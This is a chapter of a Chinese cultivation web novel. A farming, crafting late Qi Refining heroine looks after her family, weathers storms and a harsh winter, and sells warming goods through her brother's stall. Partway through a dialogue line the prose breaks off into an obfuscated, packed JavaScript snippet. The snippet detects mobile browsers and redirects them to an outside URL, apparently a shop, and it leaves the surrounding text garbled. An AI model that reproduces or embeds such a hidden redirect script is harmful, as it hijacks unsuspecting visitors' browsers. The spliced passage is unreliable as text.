“嗯,姐姐英文的资质比英武的更好一些。”苏英女年过七十,明显已经没了四十到六十时的巅峰状态,已经从最前线的侍卫调到后方,一直在训练新人。收入是少了,但在家与亲人相处的时间变多了。外祖母阿林修为最差,即使天天吃灵食,九十岁的年纪也快准备后事了,但现在被小娃娃的诞生刺激得求生欲暴增,看上去还能活几年。 苏茜对外甥女的名字略不适应,但母亲亲自取名的英文,说明给予了这个小女婴莫大的期待。她送给小家伙的火灵木做的小被子和水灵木做的尿布,等他们大一点会送灵菇做的辅食,懂事以后就是灵珠红包,跟苏茜的孩子们一样待遇。 “修炼不能放松,你还是有希望后期的。”苏英女又研究了下小女儿,已经是非常稳的中期顶峰,后期的希望有六成以上。大女儿是一直中期没有晋阶,这才找了个资质好的男修生孩子,但对方不愿成婚,苏家也不在乎有没有女婿。 “是,我知道。”所以她现在每天修炼五六个时辰,灵谷灵菇灵菜灵茶灵兽肉这么吃,甚至还上了灵兽奶加灵茶做的奶茶,将这两年的利润都砸在灵食上了。同时她的“出产”也越来越诡异,比如夏季清凉用的冰扇,打开扇面就能享受凉风,一旦凉气减弱还能到卖家也就是苏勇的摊位花一个灵珠以旧换新;比如转开盖子就发亮的木制小摆件非常适合起夜或晚上临时照明,一块金元买两个不同造型的;比如冬天用的暖炉,一边烧水一边取暖,还特别适合烘干刚洗过的头发,烧的燃料从外地产的黑石炭到木炭到木头到灵木甚至摊位上的火符都可以…… 很多人贪便宜新鲜,买回去发现能用是能用,坑也是略坑,但总体上拉人来回购的数量能占一两成,后来苏勇干脆每天晚上都去摆个晚摊,嗯,回来用暖炉洗头洗澡挺方便的。 最重要的是,苏茜赶在四十岁之前达到练气后期。 成功自然延寿至少二十年。虽然她也不知道乱砸进去几万灵珠和那么多的修炼时间,换来的寿命到底值不值。 可她毕竟晋阶了,而且切切实实感受到力量的不同。 比如说,她不需要租兽马就能推着车从树苗供货地回到自己的山头,修炼两个时辰后不睡觉直接将一百多株树苗全部种下——不需要用铁锹挖坑,只需要木系和土系小法术就行。最后浇水也是一个小法术。如果是五年前,她得花三天时间和三十灵珠租兽马费,十年前就更久了。 外祖母已经过世了,没法子为小孙女高兴,当然她是家里最不在乎子孙修为的人。其他三位老人晚年还是认真修炼的,但也到了风烛残年,祖父甚至都无法打坐超过半个时辰,外祖父的外表也是以肉眼可见的速度在衰败。年纪最大的祖母已过百岁,居然还能做点地里的活。 “你做得很好!”已经辞了城主府差事的苏英女与苏力和苏勇一起带两个半大孩子。“想要去城主府做事吗?” “不,我还是习惯长时间在安静的环境修炼。不然如果少于三个时辰就可能会倒退,但太长时间反而没有益处。” “对的,所以我现在也是每天修炼两个时辰一点不能少。”苏英女没有提城主府的工作问题。苏明已经去宇清城学堂里管后勤,收入比苏英女当年少,但仍然“高达”每月六百灵珠,比苏茜和苏勇合伙摆摊卖货的净利润还略多。某种程度上,这类工作既是养家,又是服役,成了修士家族的惯例,即总要有一个重要家庭成员为城主府效力。苏茜这样的年纪,一个人待在偏远山地种一小片不到十年的火灵木,即使是练气后期也没人多看一眼,当然也不会有人敢惹她,毕竟她能轻易将一个练气初期活活打死。 苏茜又亲自将家里的农具全部改良一遍,让苏勇和苏力苦笑不已:修为低,连种地都不行。于是他们更加盯紧苏英文和苏英武的修炼。 而苏茜也在两个小外甥面前炫了一把修为,一刻时间就将一亩半的灵谷全部收割掉,还打包放在一起。看得两个小家伙眼冒金星,姨母还挺年轻的脸蛋和炫酷的示范比外祖母的刀法更能激发小家伙们的斗志。 只不过示范者差点连回去的力气都没了,不得不在家里给她保留的静室里修炼恢复。 * * * 火灵木的树干砍得多了会只长根须不长树干,但是枝条没这个问题。每过几年,苏茜就会去买些树苗,有时干脆也送一些去苏家和兴家,种在屋前房后的小块空地,急的时候掰几个枝条可以烧水烤火,就是与树干燃烧的时间和热量不能比。 她种的灵木没人偷采,因为按照本地法律和习惯做法,偷盗灵物被主人杀了也是活该,何况连十年都不到的火灵木根本没人愿意冒险,撑死了偶有路过的人拿些掉在地上的断枝落叶。 夏天的小屋二层自然是热的。但练气后期对冷热的耐力跟初期不是一个层次,只要调息静心就不会流汗。 午后,一层敞开的大门口进来了人,是苏明。 苏茜收功,从窗口飞出去,再从大门进。窗口就在门上方,而因为材料和阵纹的关系,虽然一层只有门没有床,但从炎热的室外进到室内就像是走入了初秋。 “小茜,你用的是保温阵纹吗?”最近苏明也在研究阵法,可惜没有苏茜天马行空的“想象力”。 “对。” “我也用了,感觉也就是冬天稍微好一点,夏天一点都不凉快。” “我给你我用的阵纹。还有,天花板、墙壁和地面都要有,一层我用了三套七个阵纹,门上是两个符文。窗户和门都是进热气的,开着窗那是一点效果也没有的,还不如用冰扇。” “冰扇也就是躺下有点用。” “坐下后放在桌上也行啊。兽车车厢里放一个会舒服很多。” “你做的东西还不知道能凉快多少。” “太凉了会生病的。实在怕热用两扇。” “所以人家都是四个八个的买。” “太大不好控制,又贵又只能用几天。” “嘿,冰屏比冰扇卖得好多了你难得不知道?你这是扔了大头捡了小头。” “我知道啊,兴家的店里就做冰屏的生意,我设计的,他们送了我两千株火灵木的树苗。” “……” “冰屏的生意涉及后续很多事情,而且体积大、价值高,二哥不太好做。” “……” 无语的苏明给自己煮的灵茶好了,转移话题。“这茶,跟上次喝的不一样?” “这茶性凉,适合夏季。”她自己加工配制的。苏茜还拿出来一个自种的果树上产的灵果,直接吃口感很糟,加到茶水里会好不少。 苏明看着小妹徒手虚握住灵果,隔空榨出果汁加入两杯灵茶里,然后将剩下的一团果渣扔进墙边一个小罐子——不论是果汁还是渣滓,一点没有散溅出来。她想,修为还是重要的,起码自己做不到这种操作。 “大姐,学堂放假了?” “是,放假五天,赶在新学生来之前回去干活。下次回来要三个月后。” “两个小家伙今年能入学吗?” “得两年后。他们修炼的习惯还没完全养好,对课程也完全无知。我打算两年里让他们学些东西。母亲打算让英武练练武技,英文学点符文基础。” “我有书。” “不,我们买了店里的那种基础书,先看点常识。” “你觉得这两个孩子这样安排不好?”苏茜研究着大姐的脸色。 “你觉得好吗?” “我很高兴自己交了两门课的学费,实际学了三门。小家伙们早点入学也不错,多学点东西没坏处。不过建议两个孩子一起学相同的东西!尤其是武技,谁也不能落下。哪怕到了练气后期,也是讲究个刀法的。我现在还是每天在林子里练刀,断掉的树拿来做棉絮。” “你还在练刀?!”苏明真的惊了。 “对,弓刀拳脚,都练。不过没跟人交手过,不知道打架水平。”其实是打过,但是刀势配合法术一起招呼过去,对方一伙人扔下三个重伤员立马逃了,害得她犹豫半天,不得不杀了扔岛上,再将原地的痕迹清理干净,然后回去将扒干净的尸.体扔海里。真是的,这个海都成抛.尸场所了。幸好没有见到被冲回到岸上的骨头……包括那些不值钱的物品也都扔那里了。 “你有法术就够了足以一个打十个初期。” “有了武技和兵器,我可以打十个中期。” “……这倒是,你一个人在外,安全最要紧。反正盗匪杀了就杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979670|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她自己没杀过,但母亲杀过。 苏明聊完了孩子的教育问题,放下灵珠和需要苏茜加工的成品,拿走苏茜做好的东西。 留下苏茜皱眉研究,效果更好的制冷风扇怎么做? 还没研究出什么,开始下雨。 现在下雨不是多好的事。苏茜撑着不能折叠的直柄大伞,光脚穿着自己做的木屐,察看种在陡坡部位“梯田”里的灵谷。去年秋天种下的一种一年生灵谷,现在正是开花的时期。这一场大风大雨会影响收成的吧? 她看了下被打得垂头丧气的庄稼,直接将手里的伞插到土中。又顶风冒雨看了会儿,然后回去紧急加工,然后连夜施工做了十几排挡风挡雨的庇护所,还用土系木系法术催生加固,再用水系法术将土里过多的水清理掉。回屋修炼一个多时辰之后继续察看庄稼情况,沥水加固。 这场大雨下了三天,才转为小雨。又过了两天,风雨渐止,苏茜才撤掉庇护设施。 修士世界也有自然灾害呢! 不过最大的灾害应该是灵气不足吧?听说筑基需要比平常还多的灵气,所以没有背景势力,培养不出筑基。 只是,“筑基有什么好呢?” “本事强些?” “又没有盗匪,也不会有人欺负。” “那,活得久些?” “不吃不喝不玩不乐,活太久也没多大意思。” “……” “……” 两个应该不到二十、练气初期中的初期的少年在苏勇的摊位前一边说话一边看东西。 “我觉得筑基有个最大的好处。” “什么好处?” “想要的话可以买这一车子!”少年比划了一下。 苏勇乐了,“我也就是转个跑腿的,做东西的也就赚个手工,这一车子还不如宇清城好店铺里一件东西赚得多。” “那大叔你为什么还要卖啊?!” “我要吃饭。卖一车东西可以买一个月吃的饭和菜,还能买两片灵兽肉。” “哦,那还是要的……”灵兽肉啊,他这辈子都没吃过。 “你们看到想要的就买,因为其他地方都没有我这里的便宜。” “这把镰刀呢?两个灵珠?好贵。” “用了好钢,还有两个符文,收割起来会省力许多,附的符能用大概一百亩,没效果的话,只要镰刀没有缺口和损坏,可以用两块金元换新镰刀。”用金元“以旧换新”业务极为受欢迎,这也是苏勇的东西能不降价都卖掉的原因:生意好是建立在苏茜对自己劳动的“低估值”上。 两片卤好的灵兽肉和一把趁手工具,最终少年选择了后者,而另一位少年咬牙买了防滑雪地保暖防水靴子、简称雪地靴。 雪地靴是苏茜费了不少时间搞出来的,除了皮料是普通皮子,其他都掺有灵物且颇有技术含量,售价四个灵珠不还价、不换新,由于产量少,从来都没放到过第三天。商家想大批进货也没有,想仿造却太贵。还是那句,买得起的人不需要,需要的人稍嫌贵但还是够得着。苏茜的成本控制在练气初期赚不到很多钱的人所能承受范围内,售价“仅仅”是不到一盎司黄金罢了,很“便宜”是不是?!反正苏勇和苏茜都挺满意自己的收入。 …… 今年的秋季比往年长。 苏茜记录了下午的气温,快华氏七十度了,但湿度八十,可能要下雨降温。将记录本放回岛上,她开始收割灵谷。长了整整一年的灵谷,颗粒、份量还是蛮饱满的,产量也让人比较满意。剥开外壳,里面是白色偏红的长条米粒,磨粉略浪费,可以直接做熟了吃,但蒸或煮的时间需要半个时辰才会软烂。她种植并非按照推荐方法,而是研究特性之后缩短间距并且加重施肥浇水,同时又控制土壤水分不会过多。她的肥料是厨余、灵木落叶,以及方圆二十里范围内两个灵兽养殖地打扫来的粪便。本地农民很少用后者作肥料,但苏茜压根不介意。 收割,晒干,脱壳,全程亲手打理,最后算一下,这些灵谷她能吃两年。所以苏茜毫不迟疑地种下另一种种子很便宜的多年生灵草,种满所有梯田只需要三个灵珠的种子。这种灵草被证实根茎有药食同源的价值,并且有一定养地功效,只不过药用价值太低没有作为正经灵植,多数用来喂食草小灵兽,有时花一个金元就能买一袋子,可惜苏茜买的时候季节不对,人家开了“高价”。但苏茜的目的是食物,因为她想念烤红薯了。 “今年冬天不知道会不会特别冷,所以我去买了些火灵木材料,多做了两种厚袄和裙子。偏贵,符文能管四年,不过本身的材料还是些保暖作用的。”以前都是苏勇带了两个帮手做,苏茜很少亲自做衣物,一旦出手却都是修士级别的平民货,将两个保温符文放大变形交叉作为图案,功效降低但观赏性大幅增加,而且对她来说制作时间减小很多。由于是自己染色的,粗糙敷衍却不怕清洗褪色。 苏勇有些一言难尽,那样式做工色彩花样以及可怕的,啥子一片式可以当毯子盖高矮胖瘦老少甚至男女都能穿的裙子……小妹的东西总喜欢从根本上带有瑕疵,还往往定价让人犹豫老半天。不过,当他在突如其来的寒风中用这种“男人也能穿的裙子”裹在腰上后,立刻又拿起一条披在肩膀上。 就是这种轻巧温暖,仿佛将寒气隔绝在外的感觉! 路过的人,练气中期以下一边缩脖子,一边盯着这个大汉看新鲜。穿裙子吔!或者说,是围裙? “我说,勇子老哥,你这穿的是什么?” “别管什么,反正是暖和的小毯子,我家小妹亲手做的,全部是她一手做的。要当裙子穿也可以,出门在外盖在身上也合适……下午我出门时天气还好,没穿棉衣或者暖披风,这天气实在是变得太快!” “啊,是茜师傅做的啊!” “对,没有别人,没有我的手笔。符文能用四年,所以只要五个灵珠两件,四年后火灵木做的材料也能当个小袄膝毯用。”苏茜告诉他只要给她两个灵珠一件,袄和裙一个价,其他随意。所以他就定了五个灵珠两件。 “茜师傅亲手做的?”五个灵珠两件还说贵?!符文有时限这是常识,最主要的是符师作品就没有低于十灵珠的,更别说如此实用还只要两件五灵珠。这位立刻上手拿来往肩膀上一披——“给我,十件!对,上下都要,五套。裙子,还是毯子的,要!就要那个!” 别管面子问题,不生病而亡就是好。袄子宽松柔软温暖,可外穿可内搭。那裙子吧,女人当裙子,男人能当披肩毯子带出门还不怕雪湿。 是的,这毯子还是裙子的无惧风雨雪。 “看看,不怕下雪,不怕泼水,但如果下大雨是不行的。不能当伞。” “伞?”那人抬头看着摊位上方遮阳遮雨遮雪的大伞。“这伞卖不?” 13.修士烦恼多(五) 山上的积雪超过二十五厘米,温度最低华氏零下二十度。这是苏茜“独立”出来后的记录到的最低温度。不过这不是百年里最低的,起码祖父说他年轻时有一年积雪到大腿,但之后就再也没有那么严重,苏家曾祖父是经历过人高的积雪。 “家里有你母亲和大姐,兴家大姐也会来,你放心。”苏成拉着脸蛋看上去才二十七八的小孙女,不让她继续上屋顶检修。这天寒地冻的大雪天,她就一身似乎不太厚的短打练功服“飞”上房顶再将积雪全部“扫”下,是扫吧? “没事,我就是回来看看,顺便去镇上采购些东西。”祖父年纪真的大了,已经到了练气初期的寿命大限。这几年外祖父和祖母接连过世,让他每天就都觉得也许看不到第二天的太阳而少了活人气息。苏茜观察了会儿,再探了他的经脉,结论就是,老人的所有脏腑经脉都衰老到了非人力能回天的地步,没有严重疾病但也不存在健康。她买了制药和医疗方面的专业书,正啃得起劲,也买了各种能买到的、自己也有条件种植的凡人修士通用药用植物的种子或幼苗。但衰老是没药可医的,只能保健。 “大姐,这些药草粉每天随便选一顿饭,和灵谷一起做了吃。大家都吃,也没有太大的功效,就是冬天少生病。”其实不止这点效果,但是如果不配合大量修炼和严谨的生活是没用的。 “好,谢谢了。”苏明握了握妹妹的手。两个孩子现在宇清城学堂上第二年,且都在甲班,这让脸上明显出现岁月痕迹的苏明精神面貌相当不错。 “秋天的那场雨影响收成了吗?” “还行。只减了两成。倒是你,干嘛不要家里口粮?!” “我自己种了几亩灵谷,一个人吃也够了。留着,放我做的粮仓里。我觉得,这以后每年的收成都是不固定的。如果地税有变化,可以稍微交点灵谷交税,但不要再卖了,就夸大天气的影响。二哥,听到了?家里不缺卖灵谷的几百灵珠。” “确实,我去年开始不在学堂里做,地税就要灵谷加灵珠了。”这个时候,苏明才清楚地意识到家族成员为城主府对家庭的影响。“好在英文的符术和武技都很不错,估计能去城主府。”不去也得去,否则搞不好都撑不起十六亩地。 “如果英文或英武的后代没去处,正好继承我的地。”那个地段、出产和面积,真心没人感兴趣。“我打算年纪上去后搬去宇清城。” “你好像在宇清城买了房子?” “买了。七千灵珠,城南带院子的二层小楼。楼很破旧了,到时我自己重新建个房子就行。不需要交税。”她正好去卖东西的时候看到这套堪称最便宜的宅子挂牌,脑袋一热就将货款换成了房子。由于那院子有一口井,屋后是条小河,左边和前面是街道,右边七八套全部是类似格局的房子,无法扩建住不了几口人,院子面积过小种不了东西,只适合单身人士,可偏偏价格又比无院三间小屋贵几十倍,往往只有单身老人会买。 对了,之前的房主一个人死在那房子里,化为白骨才被发现后收回。因此市价一万挂出来五年都没人买,不得不降价,降到七千也过了快两年才碰到一个苏茜。城南的宇清堂简直乐疯了,城里真的很少有七八年无人要的房子啊!全都是那套房的各种传闻闹的。 “那真的很便宜了。镇上最小的院子也要好几千。”还比较吵。 “如果有余钱,镇上店铺不一定买,有合适的宅子还是可以看看的。”苏茜建议道。“钱不够我借你。” “放心,娘还有养老钱。”苏英女笑着摇头。她也不喜欢镇上的嘈杂,但小女儿的建议不错。很可能将来的英文就是年轻时的自己,但这谁也说不好十六亩地给哪个孩子的后代。等自己年纪真的大了,住镇上有吃有喝有医师的也不错。 苏勇听着,一句意见也没。还要自己重新建房子,估计面积比妹妹山顶的那个空旷冰冷的小楼大不了多少,还不如他住了一辈子的这个里外两间、温暖还放满东西的窝舒服。说实话,如果修为增长需要恶劣的环境、简单的饮食、大量的修炼和不停的劳作,那他还是现在的状态更好,哪怕自己看起来像是妹妹的爹也无所谓。老了以后,反正他不可能活得比祖父还长,有弟弟妹妹和外甥外甥女照应足矣。 吃个午饭、说完事情,苏茜穿上自己做的带帽披风,拎起堂屋门口的两根奇怪的木棍就离开了。 时间已是下午。 天色阴沉,昨天暂停的雪与寒风卷在一起四处纷飞。地上的积雪已经快到膝盖,这片田地只有零星几行脚印。前些天的车轮印早就被积雪覆盖,四野一片白茫茫。 苏茜没逞能浪费灵力使用法术,也没深一脚浅一脚地踩着雪慢慢走,而是两步上跷,手握木杆,快速地用两个高跷走雪地,很快就消失在风雪中。 苏勇在门口看得目瞪口呆,同时看呆的还有苏明。 “从没见过这种。” “每根长木棍上有脚踩的地方,这样走雪地快一些。”才怪!首先要在看不清路况时踩在两根木头上保持平衡,其次还跑那么快不摔跤。 “她是练气后期。”苏明关上门。回想那木棍的构造,考虑自己行不行。 苏英女夫妇问什么情况,苏勇绘声绘色说了。“还好我们这一带都是平原田地,过去的路也很好认,不然会摔到沟里。” “她有修为,有武技,不会伤着。”苏英女一听就知道,“比用法术踩着雪回去省力。” 但还是伤了。 苏茜揉着被石头撞出一个肿包的脑袋,放弃使用好不容易做出来、还没用完的地遁符石,在风雪里休息了会儿才继续用高跷赶路。 这个“高级”符石花了不菲的精力和成本,结果换来一个包!最让人火大的是,她在自家山头看到了一串不该出现的脚印,动物的。 苏茜扔了高跷,刀出鞘,冲进门被撞坏的茅屋,将闯进来取暖兼偷吃灵菇的,猪?或是什么的,一刀劈成两半。 由于刀锋夹带着火系法术,没有鲜血四溅的场景,那头体型颇大的动物连反抗挣扎都没有就死了,黑暗的空气里一股焦肉味。 很香的肉味。 苏茜先将两爿肉扔到岛上,然后修复了下茅屋门。灵菇还剩下大半,估计是这只动物咬到腐木觉得味道恶心而没有继续糟蹋。可苏茜决定将这一屋的灵菇全部卖了,然后全屋清洁消毒后重新种。好在她现在种灵菇的大头其实是两件茅屋中间下方的地下室,那里有四间茅屋的大小,一直延伸到小楼下方,出入口也有两个。这只动物压根没有闯到地下空间去,因而造成的损失不算太大。 再然后她一路踩着高跷沿着明显的足迹进行清理,直到另一个山头下方。再返回,看看那肉怎么吃。 站在“猪肉”边,苏茜发现这应该是一种养殖妖兽而非普通野猪之类,有一对小巧的角和一对锐利的獠牙,肉质倒是含有灵气。 能吃! 可惜是不能拿回家分享的那种。 她清理了自己的长刀,将肉拖到海边,摸出自制菜刀,轻松切掉脑袋尾巴和蹄子扔进海里喂鱼——四只蹄子处理起来太麻烦,不如放弃——再开膛清理,只留了心和肝,其他也全扔掉,血同样不留。稀疏而硬的长毛拔起来很麻烦,但是她能看得出皮质不错,只能先将皮毛连皮下脂肪与肉切开。 肉质新鲜紧实。 她搬来烧烤架,切薄片撒盐试着烤了一片。烤的时间略长些,然后吃了一口。口感一般,有浓重膻腥味,但灵气还行。加高级调料腌制了再烤,这回就好很多。 她用兽肉填饱肚子,将其余可以吃的肉全部切下,海水里清洗再用淡水清洗,光肉就有两百斤的样子。她找出来一批廉价箱子装肉,打了封存符埋进雪堆里。继续清理皮毛。 好不容易清理完毛和脂肪,皮革是需要处理的,她学的可不是硝制这种凡人手艺,而是修士手法。当然处理的对象也得是灵兽妖兽皮革,不然普通皮革立刻废了。 等做出来,她才发现这个皮子其实是很常见的革甲材料,当然这里的常见不等于便宜,一件胸甲得几万灵珠,可也不是用灵石计的高级货。 行吧,是个不错的收藏品,她找来个价值二十灵珠的灵木箱子封存这块皮料。 这些干完已是第二天上午。 她吃了点便宜灵谷磨粉做的饼子填肚子,开始用大量调料在岛上炖兽肉。 这个时候再回去小楼,关上一层大门,点燃二层的壁炉,再打开二层大门上方的窗。开的窗即使不对着风口,那寒凉的空气也非常“清冽”,纷飞的雪花落在特意做出来的飘窗上。火灵木燃烧时间长却不等于温度特别高,即使苏茜的修为体质,修炼的时候仍然得在偏薄的练功服外加了件火灵木披风甚至将兜帽戴上,而坐着的是双层火灵木坐垫。 早晨开始风更大了,不高的山顶也能有个七级。天光昏暗,雪都没什么反光,整个世界只剩下风卷着雪呼啸而过的声音。 大风雪天气里,修炼的效果似乎最好? 苏茜感受着自己的状态,收功回岛上。肉已经炖好了,小火慢炖加高级调料,导致一锅肉非常好吃。上一次吃到特别好吃的东西是什么时候的事了?苏茜半天没想起来。也许是最“简朴”和最精致的都吃过而无所谓,加之修炼之后对好吃的定义跟凡人时的定义根本不一样。将新的肉块塞进嘴里,醇香酥烂,不愧是砸了整整一个灵珠的调料做出来的,简直停不下来,不论从口感还是灵气都挑不出毛病。一锅肉是一整块切成的,加起来有四公斤多,不可能一口气吃光。她吃掉了一层就饱了,然后上手操作,将肉块弄成碎肉,与汤汁混合后封了盖子直接冻到小楼室外做成肉冻。雪停了,黑暗的室外现在居然是华氏零下二十度,考虑到现在是白天,所以大概冷出了五十年来最低。 雪地里一点痕迹也没有,在楼上楼下时神识里也没有异常。她跳上小楼和茅屋房顶,将积雪全部扫下。火灵木在雪堆里仍然一点不受影响,不多的金红色叶子抖擞得很。苏茜想了下,干脆将雪面上的叶子大部分薅下来。一是做绿肥,二是省得让人远远看见这里有灵木林而起偷盗的念头。 不过,她还是看到靠近山路边有两株火灵木近期被砍掉了积雪上的部分。算了,也没损失什么,就当是与人方便,说不定少冻死一个人也是好的。但她的神识并不能覆盖到山脚区域,能敏锐察觉的只到半山腰。这还是没成材的半大火灵木。灵植种植基地所需的人手很多,光防盗就需要费很多力气。所以她的灵植、灵药只种在山顶区域,就是方便看护。 转身回二楼的时候,有个兽车队经过。苏茜没回头,但神识没有收回,脚下也没有深浅脚印。 她回了二楼,车队过去。相安无事。 等修炼完毕,苏茜又出来,将半山腰之下的火灵木全部砍到积雪以下。回收,一批批放壁炉边烘干,初加工、精加工,处理成灵木棉絮。其他时间就做别的可以卖的东西,天马行空地又做了些可能让苏勇不知道如何介绍的商品。 这个过程持续到积雪融化,砍掉的火灵木又长出来些。 融雪的天气自然不会暖和,不过一直在华氏零下十度以上。苏勇卖的各种保暖品被一抢而空。镇子本身的人口也就那些,但架不住周边的人听说后在交通恢复的第一时刻就冲过来扫货。灵珠加金元的定价让很多低阶修士乃至凡人都乐意接受。店铺则早就放弃这种生意,没法子,价格做不过,因为除了苏茜没有修士接受“仅仅”一两个金元的手工费。 而苏茜又弄出来一个山洞,专门放金元。如果有下辈子的话,是真的可以吃饱穿暖……了吧?应该,大部分文明都接受这种贵金属吧?苏茜突然不确定起来。 要不,还是多弄点冷兵器,耐保存,变不了现但是能“挣”现钱啊,起码可以保护自己的财产不是。另外就是一些不太好说的灵植,有毒性的那种,全部种岛上——灵植和普通植物的生命力是不一样的,只要不是对生长环境比较苛刻的,都可以试试。但为了好看些,她买齐了几十种配方三四百种灵植,但和武.器一样都从不同的店家购买,不然可能被丹药铺揪住不放。 * * * “这孩子,没有修炼资质……” “我知道,他那边也都检查过了……给她买了十亩地做嫁妆,不过在宇清城附近,不太适合种好的灵谷,但地税也便宜,可以用普通粮食交税。” 从苏英女到苏明到苏茜全部鉴定完毕,小女孩儿没有修炼资质。苏英文其实自己也鉴定了的,但为了确定,又找来所有亲属。她本来打算与孩子的父亲成婚的,现在双方都没有结婚意愿了——这种做法在修士家庭中很常见。不过孩子的父亲给孩子买了一块宇清城附近的田地作为抚养费,而孩子的教育抚养由母亲家庭负责。 “家里请个人吧,签五年契约,然后可以去凡人学堂念书。”纯凡人连饮食都跟家里人不太一样。 “我带回去吧。兴家大姐的第二个孙子也是纯凡人,今年三岁。”苏越突然提了句。兴家大姐只有一个儿子,但家里孙辈已经有三个了。 “行。我们出钱请奶娘和男女仆,还有日常生活,上学之前就住兴家那里。”也不能真的当童养媳。 “没事,我在呢,不能委屈我甥孙女。”十亩田地,再薄也要花九到十万灵珠,兴家不会不满意这份嫁妆。而苏家也满意,两家本来就是姻亲,兴家大姐的儿子现在是练气中期,当然不可能把二儿子放逐到十亩地上自生自灭。自家的孩子未来还是有保障的。 苏茜默默送上给新生儿的礼物包。苏英武倒是比较顺利,就生了一对双胞胎兄妹,资质似乎一般,但起码都能修炼,但他与妻子是不敢再生了。 而苏英文彻底放弃生育,将孩子给舅舅照顾后又回了工作岗位。 这就是本地人口数控制得不错的原因:有实力的家族不想生下无法修炼的孩子,养不起孩子的家族不敢生太多导致一起饿死。 最难过的居然是苏勇。 “其实,我可以来照顾孩子的。”他对苏茜嘀咕道。 “你我都没时间。而且凡人孩子吃的东西也跟修炼的孩子不一样。”家里基本不吃凡食,让孩子怎么办?因为吃东西而亡?! “我可以买凡食给她吃。” “然后让孩子自卑到郁郁而终?” “……” “我们家连外祖母都能修炼,房子也只适合修士,孩子可能都无法活到成年。”光是盥洗和住宿条件都能让她从此体寒不育。 “……幸好我当年没有成亲生子。不然我都挣不出孩子的嫁妆。”他这些年全部赚到的大概也就十万灵珠,可刨去吃用,手头只有两万都不到。 “你可以在镇上买个宅子。这样有时天气不好的时候还能住一下。” “不了,浪费。而且我好歹是修士。”没有自己的房子,就完全可以在家里终老。 行吧,苏茜对此不表态。她得去一趟宇清城建房子。 去年的天气算是很不错,夏天不算太热但也没有来若干冰雹之类,春秋气候多变但总体算是舒服的,冬天特别冷的日子不多,雪只下了两场,到今年开春后没有出现倒春寒和严重干旱等问题。 就是略旱,但河流还是正常的。 苏茜每天五车水二十桶水,用小勺浇不同区域的灵木灵谷和灵菜,几天一个循环再浇水。缓坡现在也多了很多弯弯绕绕的硬化土路,方便她推车浇水施肥顺便松土除草。她的灵力都用在处理杂草草根土壤以及虫卵,都在别人看不到的地方。 看不懂的还以为修炼不易,练气后期也要省着灵力用。 看得懂的则过来探讨修炼事宜。 “树里也是有虫子的。不过我为了做保暖衣物砍得早,从没有出过问题。” “用木系探测?” “对。其实木系探的是木头,而不是木头的就突出来了。” “……怎么会有那么多不是木头的?!” “有不少杂质混进去了。但那些都很小,稍微大的,类似虫蛹的那些才可能是。” “我来试试……” 集安比苏茜年长,练气后期,地比她的大一点,却是座很高的山头,很高、很陡,平地只有山脚的一点点,凡人上下山大概要半天时间,也因此地税很少,价格也就不到十万灵珠。山脚是让集安的女儿女婿种的,山上只能种灌木和少数几棵树木。但集安种的灌木是灵植,必须精心护理几十年,一百颗种子最终只有五株成材。由于极高的折损,所以这剩下的一点点都是卖灵石而不是灵珠。 “听说你在宇清城买了个平价房子?”好一点的又不是买不起,当他不知道那些“很便宜”的东西成本是多少吗?! “我一个人,住上下两间就完事了,修炼养老,吃喝在城里买现成的。这块地便宜些转卖给我姐姐的孩子。所以不需要好的宅子。” “这倒也是。”集安这个山都不知道以后给谁,因为女儿女婿、两个外孙,全部是练气初期!“我的后辈根本没法种灵植,我还打算把地卖了换镇上的前店后宅。” “你要不还是培养曾孙。”这家伙原来打算把那高山溢价卖给她吗?呵呵,做梦! “说不定是凡人呢?!”也是因为知道苏茜的妹妹也生了个纯凡人,所以集安才看她顺眼一点。 “我觉得镇上的房价够呛。” “可镇上的铺面连宇清城的零头都不到。” “也是。其实吧,我是觉得,做个工坊也不错。您女婿不是造物毕业的?” “一个练气初期。”集安摇头,“很多人都知道你的晋阶法子,学的人不少,成功的一个没有。” “……”那就没法子了。她也不知道其他人如何晋阶。 等第二个像集安那样的人跑来东打听西暗示的,直接让苏茜将地转给年纪上去的苏明,连税在内六万六——这是苏茜算好的价格。苏英文鼓起勇气生了第二个孩子,男孩,能修炼。苏英武也终于找到愿意一起琢磨个孩子的女修,生下两个有资质的孩子、一人一个。所以苏明,或者也许是快要到大限的苏英女,将积蓄拿出来低价买下妹妹的山头,到时候看怎么分。至于家里十六亩地的未来归属,是几十年后的事了。 “我知道你吃了亏的。”苏明还是挺感激苏茜。算是土地建设的投入,妹妹其实是送给后辈好几万灵珠。 “无所谓,我也不是要补贴小家伙,纯粹是不想一个人待在山上,每天吃一样的食物。”就是不想被练气后期的前辈们逮住推销土地、推销后辈、推销东西。换了自家吃饭都成问题的外甥,压根没有好处可以让别人得。 可没过多久,苏茜刚办完手续搬走自己的东西时,祖父苏成平静地过世了,享年一百一十五,在练气初期里算是比较长寿的。 但仅仅两年后,修为退化到凡人的父亲苏力也过世了,距离一百还差几岁。 “二哥,继续修炼,不能停。”苏茜拍着苏勇的肩。他在修炼方面绝对是懈怠了,修为明显退化。 “小茜,我还是个修士。” “不修炼就不是。父亲寿命比祖父短,就是因为修炼不足。” “……真的?” “真的。我现在已经是练气后期顶峰了,虽然没希望筑基,但你看我的脸,看上去跟你差多少岁?但如果不保持每天三个时辰的修炼,我两三年就会变老。”苏茜的外形,看起来三十多没有皱纹斑点,而七十岁的苏勇就是中老年人模样。但另一方面,只要知道苏茜的年纪,立即能相信她的修为。所以宇清城里的住处附近所有人对她都很尊敬,真是让人拳头无处挥。 “三个时辰!我可受不了。”苏勇摇头,他一点都没兴趣继续那样无聊的人生。反正总会死的,干嘛那么折腾,爱吃吃、爱喝喝、爱睡睡、爱对着天空发呆就发呆。 “……” 在镇上墓地安葬完父亲已经是下午,苏茜慢慢走回宇清城。 就是两条腿走路,从下午走到第二天清晨。入冬了,没有积雪但是结的霜中午都不化,天气怪冷的。 